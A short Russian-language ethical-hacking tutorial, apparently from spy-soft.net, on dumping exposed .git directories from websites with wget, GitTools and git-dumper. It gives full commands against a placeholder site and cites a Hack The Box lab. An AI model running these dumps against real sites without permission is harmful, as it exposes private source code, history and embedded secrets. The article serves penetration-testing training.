Git — это распределенная система контроля версий, которая позволяет эффективно отслеживать изменения в коде и совместно работать над проектами. Иногда возникает необходимость получить полную копию репозитория Git со всей историей коммитов и разработки. В этой небольшой статье познакомлю вас с инструментами дампа репозитория Git.
Еще по теме: Взлом репозитория GitHub используя GitHub Dorks
Инструменты для дампа репозитория Git
- wget
- GitTools
- Git-Dumper
Статья в образовательных целях для обучения этичных хакеров. При написании статьи использовалась уязвимая машина Encoding с площадки Hack The Box. Использование инструментов для дампа Git без письменного разрешения является незаконным. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Дамп Git с помощью wget
Для дампа репозитория Git можно использовать команду wget в Linux.
1 2 3 4 |
wget -r https://example.com/.git/ cd example.com git log --stat git checkout |
После скачивания можно начать анализировать файлы или всю историю.
Дамп Git с помощью gitdumper и extractor
GitTools скачивает репозиторий Git веб-приложения.
Установка gitdumper:
1 2 |
wget https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/gitdumper.sh chmod +x gitdumper.sh |
Использование gitdumper:
1 |
./gitdumper.sh https://example.com/.git/ ./example |
После скачивания репозиротия извлеките, выполнив следующие действия.
Установка extractor:
1 2 |
wget https://raw.githubusercontent.com/internetwache/GitTools/master/Extractor/extractor.sh chmod +x extractor.sh |
Использование extractor:
1 |
./extractor.sh ./example ./new_example |
Скаченный проект Git с сайта будет находится в папке ./new_example.
Дамп Git с помощью с помощью Git-Dumper
git-dumper — это небольшой но полезный пакет Python.
Установка Git-Dumper:
1 |
pip install git-dumper |
Использование Git-Dumper:
1 |
git-dumper https://example.com/.git ./dumped |
Это позволит выгрузить репозиторий Git с указанного сайта и сохранить его в папку ./dumped.
ПОЛЕЗНЫЕ ССЫЛКИ: